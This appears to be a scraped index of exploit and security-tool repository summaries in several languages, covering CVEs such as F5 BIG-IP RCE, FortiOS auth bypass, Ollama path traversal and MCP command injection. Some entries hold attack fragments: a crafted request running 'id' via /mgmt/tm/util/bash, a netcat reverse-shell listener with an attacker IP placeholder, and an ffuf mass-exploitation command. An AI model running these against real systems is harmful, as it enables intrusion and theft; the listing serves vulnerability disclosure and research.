CVE-2023-27163

Request-Baskets에서의 SSRF PoC CVE-2023-27163 이 저장소는 request-baskets의 버전 1.2.1까지 발견된 서버 측 요청 위조SSRF 취약점인 CVE-2023-27163에 대한 개념 증명PoC을 포함하고 있습니다. 이 취약점을 통해 공격자는 조작된 API 요청을 통해 /api/baskets/name 구성 요소를 악용하여 네트워크 리소스와 민감한 정보에 접근할 수 있습니다. 크레딧: @b33t1e, @chelinboo147, @houqinsheng 자세한 내용은 문서 참조. 사용법...

CVE-2026-25513

CVE-2026-25513: FacturaScripts API ORDER BY 절의 SQL 인젝션 개요...

CVE-2026-84857

sigoden aichat (versions up to 0.30.4) is affected by an uncontrolled memory allocation flaw in the API Endpoint component, specifically in the file src/serve.rs. The root cause is linked to request body handling, as indicated by the published report titled AIChat_Serve_Request_Body_DoS_Report . ...

EUVD-2026-70279

A flaw has been found in sigoden aichat up to 0.30.4. This affects an unknown function of the file src/serve.rs of the component API Endpoint. This manipulation causes uncontrolled memory allocation. The attack can be initiated remotely. The exploit has been published and may be used. The vendor...

CVE-2022-1388_PoC

F5 BIG-IP RCE 익스플로잇 CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 명령줄: root@kitploit: $ curl -i -s -k -X $'POST' \ -H...

CVE-2026-7020

CVE-2026-7020 Ollamaのテンソルダイジェストのパストラバーサルによる任意ファイル読み取り。認証なしの3回のAPI呼び出しで、到達可能なOllamaホストからSSHホスト鍵（およびその他の任意のファイル）を窃取します。 ライトアップ: 共同研究者 @gouldnicholas 使用方法 root@kitploit: python3 poc.py 既知のサイズを持つ3種類すべてのSSHホスト鍵を試行し、取得できたものを出力します。 CVE CVE-2026-7020...

CVE-2026-57821-PoC-Exploit

🛡️ CVE-2026-57821 – Apache Fineract SQL 인젝션 ⚠️ 법적 및 윤리적 고지 이 툴킷은 교육, 훈련 및 승인된 보안 테스트 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 무단 사용하는 것은 불법 이며 컴퓨터 범죄 법률을 위반합니다. 저자는 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 귀하의 행동에 대한 모든 책임은 귀하에게 있습니다. 📋 취약점 개요 CVE-2026-57821 은 Apache Fineract의 사무실 목록 API 엔드포인트에서 발견된 SQL 인젝션 취약점입니다. 🎯...

CVE-2026-30945-PoC

🗑️ CVE-2026-30945 StudioCMS IDOR — 任意APIトークン失効によるサービス拒否（DoS） NVD • Advisory • CWE-639 概要 StudioCMS ≤ 0.3.0 の DELETE /studiocmsapi/dashboard/api-tokens エンドポイントは、editor 以上の権限を持つ認証済みユーザーが、他の任意のユーザー （admin や owner アカウントを含む）に属するAPIトークンを失効させることを許可します。...

Burp_Collector

Burp Collector Burp Collectorは、ペンテスターやバグハンターがWeb/モバイルアプリケーションテストを支援するために特別に設計されたマルチプロセッシングツールです。その強力な機能により、Burp Suiteファイルからの情報収集と抽出プロセスを効率化し、APIエンドポイントを効果的に管理できるようにします。 Burp...

CVE-2022-36804

CVE-2022-36804 - Atlassian Bitbucket Server 및 Data Center 명령 삽입 취약점 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 저자 원본 PoC 작성자 Walnut Security Services Pvt. Ltd님께 깊은 감사를 드립니다. 설명 Atlassian Bitbucket Server 및 Data Center 7.0.0에서 7.6.17 미만, 7.7.0에서 7.17.10 미만, 7.18.0에서 7.21.4 미만, 8.0.0에서 8.0.3 미만, 8.1.0에서...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP RCE エクスプロイト Linux /api/mcp/connect を悪用してリモートコマンド実行を行うPoCです。 要件 root@kitploit: pip install requests 使用方法 root@kitploit: python3 exploit.py 例: root@kitploit: python3 exploit.py mcp.something.com 設定 スクリプト内で編集 root@kitploit: attackerip = "YOURIP" port = 4444 リスナー root@kitploit:...

CVE-2026-23520

CVE-2026-23520 MCP API リモートコマンド実行（RCE）PoC 📌 概要 このリポジトリには、脆弱なMCP APIエンドポイント（一般的には /api/mcp/connect）を公開するアプリケーションに影響を与えるリモートコマンド実行（RCE）脆弱性のProof-of-Concept（PoC）エクスプロイトが含まれています。 この脆弱性により、細工されたAPIリクエストを介してシステムレベルのコマンドを実行できます。 🚀 クイックスタート 1. リスナーを起動する root@kitploit: nc -lvnp ATTACKERPORT 2...

CVE-2026-23744

CVE-2026-23744 — MCP Connect RCE 通过未认证命令注入 ⚠️ 免责声明： 本仓库仅用于教育和安全研究目的。在未经明确授权的情况下对系统使用此漏洞利用程序是非法的。作者不对滥用此代码的行为承担任何责任。 📌 漏洞描述 该漏洞位于 /api/mcp/connect 端点，允许未认证 的攻击者注册一个带有恶意配置的任意 MCP（模型上下文协议）服务器。由于 command 字段及其 args 参数缺乏验证和清理，攻击者可以注入操作系统命令，这些命令将以 Web 进程的权限直接在服务器上执行。 这会导致远程代码执行（RCE） ，可被利用来在受攻击的系统上获取反向...

cve-2023-38646-poc

Metabase 사전 인증 RCE CVE-2023-38646 CVE-2023-38646는 Metabase의 원격 코드 실행 취약점입니다. 이 취약점은 Metabase가 인증되지 않은 API 엔드포인트 /api/setup/validate를 처리할 때 JDBC 연결 문자열 처리에 보안 결함이 있어 발생합니다. 공격자는 특정 JDBC 연결 문자열을 구성하여 이 엔드포인트를 통해 서버에서 임의의 명령을 실행할 수 있으며, 인증이 필요하지 않습니다. 구체적으로, 공격자는 먼저 /api/session/properties에 접근하여...

CVE-2023-27163

CVE-2023-27163 Request-Baskets v1.2.1 - 서버 측 요청 위조 SSRF request-baskets v1.2.1까지는 /api/baskets/name 구성 요소를 통해 서버 측 요청 위조SSRF를 포함하고 있는 것으로 발견되었습니다. 이 취약점으로 인해 공격자는 조작된 API 요청을 통해 네트워크 리소스와 민감한 정보에 접근할 수 있습니다. 설치 root@kitploit: git clone https://github.com/0xFTW/CVE-2023-27163 cd CVE-2023-27163 pip...

kiterunner

Kiterunner 소개 오랫동안 콘텐츠 디스커버리는 파일과 폴더를 찾는 데 집중되어 왔습니다. 이 접근 방식은 정적 파일을 호스팅하거나 부분 경로에 대해 3xx 응답을 반환하는 레거시 웹 서버에는 효과적이지만, 최신 웹 애플리케이션, 특히 API에는 더 이상 효과적이지 않습니다. 시간이 지남에 따라 더 큰 단어 목록을 사용할 수 있도록 콘텐츠 디스커버리 도구를 더 빠르게 만드는 데 많은 시간이 투자되었지만, 콘텐츠 디스커버리의 기술 자체는 혁신되지 않았습니다. Kiterunner는 기존의 콘텐츠 디스커버리를 매우 빠른 속도로...

CVE-2026-84805

Kimai versions from 2.61.0 before 2.63.0 fail to disable admin-only work-contract preferences for low-privilege users in the PATCH /api/users/id/preferences endpoint. Although the web interface gates these employment-contract fields behind the contractotherprofile admin permission, the...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS 인증 우회 대규모 익스플로잇 /api/v2/cmdb/system/admin/ "ssh-public-key1": "" root@kitploit: ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="127.0.0.1...

CVE-2026-84805 Kimai 2.61.0 before 2.63.0 Authentication Bypass via API

Kimai versions from 2.61.0 before 2.63.0 fail to disable admin-only work-contract preferences for low-privilege users in the PATCH /api/users/id/preferences endpoint. Although the web interface gates these employment-contract fields behind the contractotherprofile admin permission, the...

CVE-2026-84805

Kimai versions 2.61.0 through 2.62.x contain an authorization bypass in the PATCH /api/users/{id}/preferences API endpoint. The WorkContractPreferenceSubscriber, introduced in 2.61.0, registers admin-only work-contract preferences as enabled without verifying the contract_other_profile permission...